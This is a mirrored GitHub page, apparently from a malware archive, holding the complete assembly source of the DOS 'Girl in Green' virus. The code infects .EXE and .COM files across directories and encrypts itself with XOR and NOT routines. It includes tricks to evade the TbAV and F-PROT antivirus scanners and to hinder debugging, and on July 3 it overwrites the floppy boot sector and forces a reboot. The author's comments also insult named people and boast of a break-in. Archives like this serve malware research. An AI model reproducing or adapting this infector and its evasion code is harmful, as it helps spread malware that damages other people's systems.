mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
674 lines
30 KiB
NASM
674 lines
30 KiB
NASM
GREEN_GIRL SEGMENT
|
|
;
|
|
; The "Girl in Green" Virus by The Methyl-Lated Spirit
|
|
;
|
|
; Alright, here is the low-down on this virus.
|
|
; - XOR and NOT encryption
|
|
; - Boot block message display <see below>
|
|
; - .EXE and .COM infection <in that order>
|
|
; - Direct Action <I SWEAR the next will be TSR>
|
|
; - INT 042H Handler
|
|
; - Teensy weensy little bit of anti-debugging shit
|
|
; - Neat activation <boot block, see below>
|
|
; - Directory Traversal
|
|
; - Restores original Date/Time/Attributes
|
|
; - Won't infect Windows .EXE's
|
|
; - Won't fuck up too often because of extensive testing of it
|
|
;
|
|
; A short note on the boot block:
|
|
;
|
|
; This virus has a boot block, yes, thats right, a boot block!
|
|
; On July the 3rd, MY birthday, it will capture a picture of the first
|
|
; sector of the disk in A: into a file on the A: called boot.sec, then
|
|
; it will overwrite the original bootblock with some code, and when you
|
|
; re-boot onto that disk... well, I'll let you see yourself <it aint
|
|
; destructive, and that boot.sec is there in case you wanna restore it,
|
|
; aren't I a nice guy? *G*>. It was made originally for EGA, but should
|
|
; work on other monitors too, although the colours may be weird.
|
|
;
|
|
; Basically, there is no easy way to go through this virus. It is
|
|
; a great desendant from Spaghetti <yes, the food>. It jumps here, there
|
|
; everywhere, and, well, I don't believe I've created such a monster.
|
|
; Here is a little look see at it. It goes through 2 phases determined
|
|
; by the run_count counter. A setting of 1 means it is the first time through
|
|
; and that it should look for .EXE files to infect. After that, it is set to
|
|
; 2 and it searches for .COM files to infect. It will only infect 1 file on
|
|
; each run. After that, when it goes to restart the host, it looks at the
|
|
; com_or_exe variable. A setting of 1 means the current file is a .EXE and
|
|
; should be restored in that way, and a setting of 2 means the current file
|
|
; is a .COM file and should be restored as such. These variables are
|
|
; temporarily changed while writing the virus to a new file to reflect
|
|
; the hosts new attributes.
|
|
;
|
|
; Dedications:
|
|
; - The knock-out babe on the 424 bus home from school every day
|
|
;
|
|
; Big time fuck you's to:
|
|
; - Peter Doyle. FACE IT! COMPUSERVE SUX!
|
|
; - Dick Smith's Shops. HAHAHAHA, THE TOILET BOWL VIRUS STRIKES AGAIN!
|
|
; - MYER stores in Perth
|
|
; "If you do not remove yourself from that computer, I
|
|
; shall have to call security". HAHAHAHAHAHAHAHAHAHA
|
|
; - Deth : MYER was fun, but you are a liar and a theif, FUCK YOU
|
|
; : You don't NARK on people you did a B&E with just because
|
|
; : you're having PMS, get a life arsehole. Liquid Plastic SUX.
|
|
;
|
|
; Greets to:
|
|
; - Ral : Techno roqs just about as much as Jim Morrison
|
|
; - Grey : Thanx for the chats dude
|
|
; - Rainbow Bright/Telco Ray : Haven't seen u on the net laterly!
|
|
; - Shalazar : What is there to say? You're a dude.
|
|
; - Titanium Warrior : I'm gunna get you!
|
|
; - And all those wonderfull people in GrayLands that gave me this nice
|
|
; padded cell so I wouldn't bang my head to hard on the walls
|
|
; when I got frustrated debugging this thing :)
|
|
;
|
|
; Sources:
|
|
; - Much code from my first virus, The Toilet Bowl
|
|
; - VLAD, the info on how to check for WinEXE files
|
|
; - 40-hex article by Dark Avenger on .EXE infections
|
|
; - 40-hex article on how boot-sectors work <I just needed
|
|
; the offset in memory where they are loaded, 0:7C00>
|
|
;
|
|
; Reasons for writing it:
|
|
; If you're wondering why this is called the "Girl in Green" virus, well, here
|
|
; is the answer. I am Methyl, hanging on #AUSSIES alot, and I met a
|
|
; BEAUTIFUL girl on da bus, and she was dressed in her green school uniform.
|
|
; Well, I'm, of course, gunna ask her out when I get sum guts, but first
|
|
; I thought I'd be really kind and create a virus to show my love for her! :>
|
|
;
|
|
; So if you <you know who you are> were wearing a slazenger suit into
|
|
; Karrinyup on Mothers Day, and a phreak in white with the wierdest
|
|
; pair of jeans in the world on came up to you and said "Hello", then,
|
|
; I LOVE YOU! <evil grin>
|
|
;
|
|
ORG 0H ;
|
|
;
|
|
START: ; Host file
|
|
MOV AH,4CH ;
|
|
INT 21H ;
|
|
;
|
|
BEGIN: ;
|
|
MOV AH,1 ; TbAV will go no further :)
|
|
INT 016H ;
|
|
;
|
|
JMP $+3 ; Stop F-PROT flagging this as a virus
|
|
DB 081H, 0E8H, 00H, 00H ;
|
|
;
|
|
GET_DELTA: ;
|
|
MOV BP,SP ;
|
|
SUB WORD PTR [SS:BP], OFFSET GET_DELTA
|
|
MOV AX,[SS:BP] ;
|
|
ADD SP,2 ;
|
|
MOV BP,AX ;
|
|
;
|
|
PUSH DS ; Save PSP segment
|
|
PUSH ES ;
|
|
MOV DS,CS ; Make ES=DS=CS
|
|
MOV ES,DS ;
|
|
;
|
|
; I've done a little thing here that makes this baby easier to compile.
|
|
; When first compiled, the variable enc_or_not will equal 0, and so the
|
|
; encrypting routines shan't be run, because the virus has not yet encrypted
|
|
; itself. After the first run, this value is changed forever to be 1, so that
|
|
; encryption is always carried out on the new infected files. It takes up a
|
|
; bit of space, but, like I said, easier to compile.
|
|
;
|
|
;
|
|
CMP BYTE PTR [OFFSET ENC_OR_NOT+BP], 0
|
|
JE START_XOR ;
|
|
; Call encryption routines
|
|
CALL NOTTER ;
|
|
CALL XORER ;
|
|
;
|
|
START_XOR: ; Begin XOR'ing here
|
|
MOV BYTE PTR [OFFSET ENC_OR_NOT+BP], 1
|
|
; Determine which method will be used later
|
|
; to jump back to host, and restores the
|
|
; appropriate host bytes.
|
|
CMP BYTE PTR [OFFSET COM_OR_EXE+BP], 1
|
|
JE EXE_BYTES ;
|
|
; This will restore .COM files
|
|
LEA SI,[OFFSET ORIG_3+BP]
|
|
MOV DI,0100H ;
|
|
MOVSB ;
|
|
MOVSB ;
|
|
MOVSB ;
|
|
JMP RESET ;
|
|
;
|
|
EXE_BYTES: ; This is for .EXE's
|
|
MOV WORD PTR [ORIG_CSIP+BP], WORD PTR [TEMP_CSIP+BP]
|
|
MOV WORD PTR [ORIG_SSSP+BP], WORD PTR [TEMP_SSSP+BP]
|
|
MOV WORD PTR [ORIG_CSIP+BP+02H], WORD PTR [TEMP_CSIP+BP+02H]
|
|
MOV WORD PTR [ORIG_SSSP+BP+02H], WORD PTR [TEMP_SSSP+BP+02H]
|
|
;
|
|
RESET: ; Reset run counter
|
|
MOV BYTE PTR [OFFSET RUN_COUNT+BP],1
|
|
;
|
|
SET_NEW_DTA: ; Make a new DTA
|
|
MOV AH, 01AH ;
|
|
LEA DX, OFFSET NEW_DTA_AREA+BP
|
|
INT 021H ;
|
|
;
|
|
SAVE_CURRENT_DIR: ; Save current directory for traversal functions
|
|
MOV AH, 047H ;
|
|
XOR DL, DL ;
|
|
LEA SI, OFFSET DIR_BUFFER+BP
|
|
INT 021H ;
|
|
;
|
|
SET_ERRORS: ; Make a new error handler to stop
|
|
; write protect errors propping up.
|
|
MOV AX, 03524H ;
|
|
INT 21H ;
|
|
;
|
|
LEA DI, OFFSET OLD_ERROR+BP
|
|
MOV [DI],ES ;
|
|
ADD DI,2 ;
|
|
MOV [DI],BX ;
|
|
;
|
|
MOV AX,02524H ;
|
|
LEA DX, OFFSET NEW_ERROR_HANDLER+BP
|
|
INT 21H ;
|
|
;
|
|
MOV ES, DS ; Restore modified ES register
|
|
; *********************************************************************
|
|
; Activation routine for July 3rd.
|
|
;
|
|
;
|
|
MOV AH, 02AH ; Get date
|
|
INT 21H ;
|
|
;
|
|
MONTH: ;
|
|
CMP DH, 07H ; Check if it is July
|
|
JE DAY ;
|
|
JMP DATE_TEST_PASSED ;
|
|
;
|
|
DAY: ;
|
|
CMP DL, 03H ; Check if it is the 3rd
|
|
JE BOOTER ;
|
|
JMP DATE_TEST_PASSED ;
|
|
; If it got to this point, ITS MY BIRTHDAY!
|
|
BOOTER: ;
|
|
MOV AX,0201H ; Read old boot block data
|
|
MOV CX,1 ;
|
|
XOR DX,DX ;
|
|
LEA BX,OFFSET OLD_DATA+BP;
|
|
INT 013H ;
|
|
;
|
|
MOV AH,03CH ; Create A:\BOOT.SEC
|
|
XOR CX,CX ;
|
|
LEA DX,OFFSET BOOT_NAME+BP
|
|
INT 21H ;
|
|
;
|
|
JC QUIT ; Disk not there maybe?
|
|
;
|
|
XCHG BX,AX ; Write A:\BOOT.SEC
|
|
MOV AH,040H ;
|
|
MOV CX,512 ;
|
|
LEA DX,OFFSET OLD_DATA+BP
|
|
INT 021H ;
|
|
;
|
|
MOV AH,03EH ;
|
|
INT 021H ; Close file with boot sector inside
|
|
;
|
|
MOV AX,0301H ; Write new boot sector to floppy
|
|
MOV CX,1 ;
|
|
XOR DX,DX ;
|
|
LEA BX, OFFSET START_WRITE+BP
|
|
INT 13H ;
|
|
;
|
|
QUIT: ; Reboot computer to load up new boot segment
|
|
MOV AX,040H ; Set up for a warm reboot <quicker>
|
|
MOV DS,AX ;
|
|
MOV AX, 012H ;
|
|
MOV [072H], AX ;
|
|
;
|
|
DB 0EAH ; Do a jump to Offset:Segment following
|
|
DB 00,00,0FFH,0FFH ; which is FFFF:0000 as segment:offset
|
|
;
|
|
;***********************************************************************
|
|
; This is the boot_block start
|
|
|
|
START_WRITE: ;
|
|
CLD ;
|
|
;
|
|
NO_CURSOR: ;
|
|
MOV AH,1 ;
|
|
MOV CX,02000H ;
|
|
INT 010H ;
|
|
;
|
|
MOV AX,0B800H ; Colour video segment
|
|
MOV ES,AX ;
|
|
XOR DI,DI ;
|
|
LEA SI, 07C00H+(OFFSET MESSAGE-OFFSET START_WRITE)
|
|
;
|
|
LOOPY_GREEN: ;
|
|
MOV CX, 23 ;
|
|
REP MOVSW ;
|
|
SUB SI, 46 ;
|
|
LEA AX, 07C00H+(OFFSET LOOPY_GREEN-OFFSET START_WRITE)
|
|
JMP AX ;
|
|
;
|
|
MESSAGE DB 'I',02,32 ,02,03 ,02,32 ,02,'Y',02,'O',02,'U',02,32,02
|
|
DB 'G',02,'I',02,'R',02,'L',02,32 ,02,'I',02,'N',02
|
|
DB 32 ,02,'G',02,'R',02,'E',02,'E',02,'N',02,'!',02,32,02
|
|
;
|
|
; This is the boot_block end
|
|
;***********************************************************************
|
|
;
|
|
DATE_TEST_PASSED: ; Find first file
|
|
MOV AH,04EH ;
|
|
JMP FINDER ;
|
|
;
|
|
CHANGE_DIR: ; Go down in directory structure
|
|
MOV AH,03BH ;
|
|
LEA DX,OFFSET CHANGE_TO+BP
|
|
INT 021H ;
|
|
JC END_ALL ; In root, no more files
|
|
;
|
|
MOV AH,04EH ; Since it is is a new dir, find first file
|
|
JMP FINDER ;
|
|
;
|
|
RESET_ATTRIBS: ; Reset file time/date
|
|
MOV AX,05701H ;
|
|
MOV CX,[OFFSET TIME+BP] ;
|
|
MOV DX,[OFFSET DATE+BP] ;
|
|
INT 021H ;
|
|
RET ;
|
|
;
|
|
CLOSE_FILE: ; Close file and reset attributes
|
|
MOV AH,03EH ;
|
|
INT 021H ;
|
|
;
|
|
MOV AX,04301H ;
|
|
MOV CX,[OFFSET ATTRIBS+BP]
|
|
LEA DX,OFFSET NEW_DTA_AREA+1EH+BP
|
|
INT 021H ;
|
|
RET ;
|
|
;
|
|
FINDER: ; Find first/next routine
|
|
LEA DX,[OFFSET FILE_MASK+BP]
|
|
MOV CX,0007H ;
|
|
INT 021H ;
|
|
;
|
|
JC CHANGE_DIR ; Change dir if no more files
|
|
JMP FILE_FOUND ;
|
|
;
|
|
DO_OTHER: ; Change file mask. This is the 2nd
|
|
; pass, so look for .COM's instead of .EXE's
|
|
MOV BYTE PTR [OFFSET RUN_COUNT+BP],2
|
|
MOV WORD PTR [OFFSET FILE_MASK+BP+2],'OC'
|
|
MOV BYTE PTR [OFFSET FILE_MASK+BP+4],'M'
|
|
MOV AH,04EH ;
|
|
JMP FINDER ;
|
|
;
|
|
END_ALL: ;
|
|
MOV AH,03BH ; Change to original dir
|
|
LEA DX,OFFSET SLASH+BP ;
|
|
INT 021H ;
|
|
; Do second pass if not done already
|
|
CMP BYTE PTR [OFFSET RUN_COUNT+BP], 1
|
|
JE DO_OTHER ;
|
|
;
|
|
; Reload original error handler
|
|
MOV DX,[OFFSET OLD_ERROR+BP+02H]
|
|
MOV DS,[OFFSET OLD_ERROR+BP]
|
|
MOV AX,02524H ;
|
|
INT 021H ;
|
|
;
|
|
POP ES ; Reload original DS, ES
|
|
POP DS ;
|
|
; Determine host file type
|
|
CMP BYTE PTR [OFFSET COM_OR_EXE+BP],1
|
|
JE EXE_RESTORE ;
|
|
;
|
|
MOV AH,01AH ; This will restore a .COM file
|
|
MOV DX,080H ;
|
|
INT 021H ;
|
|
;
|
|
MOV DX,0100H ;
|
|
JMP DX ;
|
|
;
|
|
EXE_RESTORE: ; This will restore a .EXE file
|
|
;
|
|
MOV AH,1AH ; Reset original PSP
|
|
MOV DX,080H ;
|
|
INT 021H ;
|
|
;
|
|
MOV AX,ES ; Get CS:IP ready to jump to
|
|
ADD AX,010H ;
|
|
ADD WORD PTR CS:[BP+ORIG_CSIP+02H],AX
|
|
ADD AX, WORD PTR CS:[BP+ORIG_SSSP+02H]
|
|
;
|
|
CLI ; Restore stack segment and stack pointer
|
|
MOV SP, WORD PTR CS:[BP+ORIG_SSSP]
|
|
MOV SS,AX ;
|
|
STI ;
|
|
;
|
|
DB 0EAH ; Far Jump Offset:Segment following
|
|
;
|
|
;***************************************************************************
|
|
; Data area
|
|
;
|
|
ORIG_CSIP DW 0,0 ; Original CS:IP value
|
|
ORIG_SSSP DW 0,0 ; Original SS:SP value
|
|
;
|
|
TEMP_CSIP DW 0,0 ; Temporary CS:IP value
|
|
TEMP_SSSP DW 0,0 ; Temporary SS:SP value
|
|
;
|
|
CHANGE_TO DB '..',0 ; For directory traversal functions
|
|
FILE_MASK DB '*.EXE',0 ; File mask <DUH!>
|
|
;
|
|
BOOT_NAME DB 'A:\BOOT.SEC',00 ; Holds original boot sector of a diskette
|
|
;
|
|
COM_OR_EXE DB 1 ; 1=exe, 2=com
|
|
RUN_COUNT DB 1 ; 1=first, 2=second
|
|
;
|
|
JUMPING DB 0E9H,00,00 ; Jump construct for a .COM file
|
|
ORIG_3 DB 3 DUP(?) ; Original .COM file bytes
|
|
;
|
|
; End Data area
|
|
;***************************************************************************
|
|
;
|
|
POINTER_MOVER: ;
|
|
XOR CX,CX ;
|
|
XOR DX,DX ;
|
|
MOV AH, 042H ;
|
|
INT 021H ;
|
|
RET ;
|
|
;
|
|
COM_TIME: ; Checks for ibmdos.com, ibmbio.com, command.com
|
|
; So it works on PC/DOS and MS/DOS
|
|
MOV AL, BYTE PTR [OFFSET NEW_DTA_AREA+BP+01EH+2]
|
|
CMP AL,'M' ;
|
|
JNE NOT_DOS_FILE ;
|
|
JMP NOPE ;
|
|
;
|
|
NOT_DOS_FILE: ;
|
|
MOV AL,02H ;
|
|
CALL POINTER_MOVER ;
|
|
;
|
|
SUB DX,1 ; Jump to end of file-1
|
|
SBB CX,0 ;
|
|
MOV AX,04202H ;
|
|
INT 021H ;
|
|
;
|
|
MOV AH,03FH ; Read last byte of file
|
|
MOV CX,1 ;
|
|
LEA DX,OFFSET ORIG_3+BP ;
|
|
INT 021H ;
|
|
;
|
|
MOV AL,[OFFSET ORIG_3+BP]
|
|
CMP AL,'\' ;
|
|
JNE CHECK_IT ; Infect file
|
|
;
|
|
NOPE: ; Can't infect for some reason or another
|
|
CALL RESET_ATTRIBS ;
|
|
CALL CLOSE_FILE ;
|
|
MOV AH,04FH ;
|
|
JMP FINDER ; Already infected (It's my BAAAABBYYYY)
|
|
;
|
|
CHECK_IT: ;
|
|
XOR AL,AL ; Beginning of file
|
|
CALL POINTER_MOVER ;
|
|
;
|
|
MOV AH,03FH ; Read files first 3 bytes
|
|
MOV CX,3 ;
|
|
LEA DX,[OFFSET ORIG_3+BP]
|
|
INT 021H ;
|
|
;
|
|
MOV AL,[OFFSET ORIG_3+BP]
|
|
ADD AL,[OFFSET ORIG_3+BP+1]
|
|
CMP AX,'M'+'Z' ;
|
|
JE NOPE ;
|
|
;
|
|
INFECT_COM: ;
|
|
MOV AL,02H ;
|
|
CALL POINTER_MOVER ;
|
|
;
|
|
SUB AX,3 ; Calculate jump offset
|
|
MOV [OFFSET JUMPING+BP+1],AX
|
|
;
|
|
XOR AL,AL ; Beginning of file
|
|
CALL POINTER_MOVER ;
|
|
;
|
|
MOV CX,3 ; Write jump bytes
|
|
MOV AH,040H ;
|
|
LEA DX,OFFSET JUMPING+BP;
|
|
INT 021H ;
|
|
;
|
|
; So that the infected file will look for
|
|
; .EXE's on the first run and not .COM's,
|
|
; this code here must be added
|
|
MOV WORD PTR [OFFSET FILE_MASK+BP+2],'XE'
|
|
MOV BYTE PTR [OFFSET FILE_MASK+BP+4],'E'
|
|
; Make sure that when the virus runs of it's new
|
|
; .COM host, it knows it and isn't running as if
|
|
; it was on the old host <i.e. restore host
|
|
; as a .COM and not a .EXE>
|
|
MOV AL,[OFFSET COM_OR_EXE+BP]
|
|
PUSH AX ;
|
|
MOV BYTE PTR [OFFSET COM_OR_EXE+BP],2
|
|
JMP END_WRITER ;
|
|
;
|
|
FILE_FOUND: ;
|
|
MOV AX, 04300H ; Get and save attribs
|
|
LEA DX,[OFFSET NEW_DTA_AREA+BP+01EH]
|
|
INT 21H ;
|
|
;
|
|
MOV [OFFSET ATTRIBS+BP],CX
|
|
MOV WORD PTR [OFFSET TIME+BP],[OFFSET NEW_DTA_AREA+BP+016H]
|
|
MOV WORD PTR [OFFSET DATE+BP],[OFFSET NEW_DTA_AREA+BP+018H]
|
|
;
|
|
CHANGE_ATTRIBS_NORMAL: ; Change attributes to NULL
|
|
MOV AX,04301H ;
|
|
XOR CX,CX ;
|
|
LEA DX,[OFFSET NEW_DTA_AREA+BP+01EH]
|
|
INT 021H ;
|
|
JNC OPEN_FILE ;
|
|
MOV AH,04FH ;
|
|
JMP FINDER ; Somefink went wrong!
|
|
;
|
|
OPEN_FILE: ; Open da file
|
|
MOV AX,03D02H ;
|
|
LEA DX,OFFSET NEW_DTA_AREA+BP+01EH
|
|
INT 021H ;
|
|
JNC WHAT_WRITE_ROUTINE ;
|
|
MOV AH,04FH ;
|
|
JMP FINDER ; Somefink else went wrong!
|
|
;
|
|
WHAT_WRITE_ROUTINE: ; Write to a .COM or .EXE
|
|
XCHG BX,AX ; Put file handle in BX
|
|
CMP BYTE PTR [OFFSET FILE_MASK+BP+2],'E'
|
|
JE CHECK_INFECTED ;
|
|
JMP COM_TIME ;
|
|
;
|
|
CHECK_INFECTED: ; Read in file header
|
|
MOV CX,01AH ; .EXE header is (01Ah bytes)
|
|
MOV AH,3FH ;
|
|
LEA DX,OFFSET FILE_HEADER+BP
|
|
INT 021H ;
|
|
; Check if it is already infected
|
|
CMP WORD PTR [OFFSET FILE_HEADER+BP+012H],'GG'
|
|
JNE TEST_WIN ;
|
|
JMP NOPE ;
|
|
;
|
|
NEW_ERROR_HANDLER: ; New INT 024H handler
|
|
MOV AL,3 ; Fail system call <VLAD said to do this>
|
|
IRET ;
|
|
;
|
|
TEST_WIN: ;
|
|
MOV AX,[OFFSET FILE_HEADER+BP+018H]
|
|
CMP AX,040H ;
|
|
JB MODIFY_HEADER ; Not windows file
|
|
JMP NOPE ; Is windows file
|
|
;
|
|
MODIFY_HEADER: ; Begin transmorgification of the header
|
|
MOV AL,02H ; Get file size for later on
|
|
CALL POINTER_MOVER ;
|
|
;
|
|
PUSH BX ; Save handle
|
|
PUSH DX ; Save file size
|
|
PUSH AX ;
|
|
; TEMP_CSIP = Offset : Segment
|
|
LES AX, DWORD PTR [OFFSET FILE_HEADER+BP+014H]
|
|
MOV WORD PTR [BP+OFFSET TEMP_CSIP], AX
|
|
MOV WORD PTR [BP+OFFSET TEMP_CSIP+02H], ES
|
|
; Save stack pointer
|
|
; TEMP_SSSP = Offset : Segment
|
|
LES AX, DWORD PTR [OFFSET FILE_HEADER+BP+0EH]
|
|
MOV WORD PTR [BP+OFFSET TEMP_SSSP],ES
|
|
MOV WORD PTR [BP+OFFSET TEMP_SSSP+02H],AX
|
|
; Convert header size to bytes
|
|
; <originally in paragraphs>
|
|
MOV AX, WORD PTR [BP+FILE_HEADER+08H]
|
|
MOV CL,04H ;
|
|
SHL AX,CL ;
|
|
;
|
|
XCHG BX,AX ; BX now holds the header size in bytes
|
|
;
|
|
POP AX ; Get file size into DX:AX
|
|
POP DX ;
|
|
;
|
|
PUSH AX ; Save file size for later AGAIN
|
|
PUSH DX ;
|
|
;
|
|
SUB AX,BX ; Take header size from file size
|
|
SBB DX,0 ;
|
|
;
|
|
MOV CX,010H ; Make it segment:offset form
|
|
DIV CX ;
|
|
; Write new entry point
|
|
MOV WORD PTR [OFFSET FILE_HEADER+BP+014H],DX
|
|
MOV WORD PTR [OFFSET FILE_HEADER+BP+016H],AX
|
|
; Write new Stack
|
|
; Pointer and....
|
|
MOV WORD PTR [OFFSET FILE_HEADER+BP+010H],0
|
|
; Segment!
|
|
MOV WORD PTR [OFFSET FILE_HEADER+BP+0EH],AX
|
|
; Write ID bytes
|
|
MOV WORD PTR [OFFSET FILE_HEADER+BP+012H],'GG'
|
|
;
|
|
POP DX ; Get file length
|
|
POP AX ;
|
|
; Add virus size
|
|
ADD AX,OFFSET END_VIRUS-OFFSET BEGIN
|
|
ADC DX,0 ;
|
|
;
|
|
MOV CL,9 ;
|
|
PUSH AX ; Save file size+virus size
|
|
;
|
|
SHR AX,CL ;
|
|
ROR DX,CL ;
|
|
STC ;
|
|
ADC DX,AX ; File size in pages
|
|
POP AX ;
|
|
AND AH,1 ; MOD 512
|
|
; Write new file size
|
|
MOV WORD PTR [BP+OFFSET FILE_HEADER+04H],DX
|
|
MOV WORD PTR [BP+OFFSET FILE_HEADER+02H],AX
|
|
; Increase minimum memory requirements to
|
|
; ORIG_MEM + VIRUS_MEM = TOTAL_MEM 8)
|
|
MOV AX,OFFSET END_FILE-OFFSET BEGIN
|
|
MOV CL,4 ;
|
|
SHR AX,CL ;
|
|
;
|
|
ADD AX,WORD PTR [BP+OFFSET FILE_HEADER+0AH]
|
|
MOV WORD PTR [BP+OFFSET FILE_HEADER+0AH],AX
|
|
;
|
|
POP BX ; Get handle again
|
|
;
|
|
MOOWAAHAAHAAHAA: ; Infect the wanker!
|
|
XOR AL,AL ; Move to da start of da file
|
|
CALL POINTER_MOVER ;
|
|
;
|
|
MOV CX,01AH ; Write header
|
|
MOV AH,040H ;
|
|
LEA DX,OFFSET FILE_HEADER+BP
|
|
INT 021H ;
|
|
; So that the virus, when executing of its
|
|
; new host knows that it will restore the bytes
|
|
; as if attatched to a .EXE file
|
|
MOV AL, BYTE PTR [OFFSET COM_OR_EXE+BP]
|
|
PUSH AX ;
|
|
MOV BYTE PTR [OFFSET COM_OR_EXE+BP],1
|
|
;
|
|
END_WRITER: ;
|
|
MOV AL,02H ; Move to da end of da file
|
|
CALL POINTER_MOVER ;
|
|
;
|
|
MAKE_NEW_ENC_VALUE: ; Get a new random encryption value
|
|
MOV AH,2CH ;
|
|
INT 21H ;
|
|
MOV BYTE PTR [OFFSET ENCRYPTION_VALUE+BP],DL
|
|
;
|
|
END_XOR: ; End XOR here
|
|
; Make it my BAAAABBYYYY
|
|
CALL XORER ;
|
|
CALL NOTTER ;
|
|
;
|
|
MOV CX,OFFSET END_VIRUS-OFFSET BEGIN
|
|
MOV AH,40H ;
|
|
LEA DX,OFFSET BEGIN+BP ;
|
|
INT 021H ;
|
|
;
|
|
CALL NOTTER ; Decrypt virus
|
|
CALL XORER ;
|
|
; Restore original com_or_exe value
|
|
POP AX ;
|
|
MOV BYTE PTR [OFFSET COM_OR_EXE+BP],AL
|
|
;
|
|
CALL RESET_ATTRIBS ;
|
|
CALL CLOSE_FILE ;
|
|
JMP END_ALL ;
|
|
;
|
|
;
|
|
XORER: ;
|
|
CLD ; String instruction increment
|
|
MOV ES,CS ;
|
|
MOV AH, [OFFSET ENCRYPTION_VALUE+BP]
|
|
MOV CX, OFFSET END_XOR-OFFSET START_XOR
|
|
LEA SI, [OFFSET START_XOR+BP]
|
|
MOV DI, SI ;
|
|
;
|
|
XOR_LOOPER: ;
|
|
LODSB ;
|
|
XOR AL,AH ;
|
|
STOSB ;
|
|
LOOP XOR_LOOPER ;
|
|
RET ;
|
|
;
|
|
NOTTER: ;
|
|
CLD ; Make sure string instructions increment
|
|
MOV ES,CS ;
|
|
MOV CX,OFFSET NOTTER-OFFSET XORER
|
|
LEA SI,[OFFSET XORER+BP]
|
|
MOV DI,SI ;
|
|
;
|
|
NOT_LOOPER: ;
|
|
LODSB ;
|
|
NOT AL ;
|
|
STOSB ;
|
|
LOOP NOT_LOOPER ;
|
|
RET ;
|
|
;
|
|
ENCRYPTION_VALUE DB 0 ;
|
|
ENC_OR_NOT DB 0 ; To encrypt or not to encrypt
|
|
SLASH DB '\' ; For directory traversal functions
|
|
;
|
|
END_VIRUS: ; Everything from here on is not written
|
|
; to infected files
|
|
;
|
|
DIR_BUFFER DB 64 DUP (?) ; For directory traversal functions
|
|
NEW_DTA_AREA DB 128 DUP (?) ; New DTA place
|
|
ATTRIBS DW 0 ; Buffer for file attributes
|
|
TIME DW 0 ; " " " time
|
|
DATE DW 0 ; " " " date
|
|
FILE_HEADER DB 01AH DUP (?) ; File Header Read/Write Buffer
|
|
OLD_ERROR DW 0,0 ; Hold old error handler address
|
|
OLD_DATA DB 512 DUP (?) ; Holds old boot block
|
|
;
|
|
END_FILE: ;
|
|
GREEN_GIRL ENDS ;
|
|
END BEGIN ;
|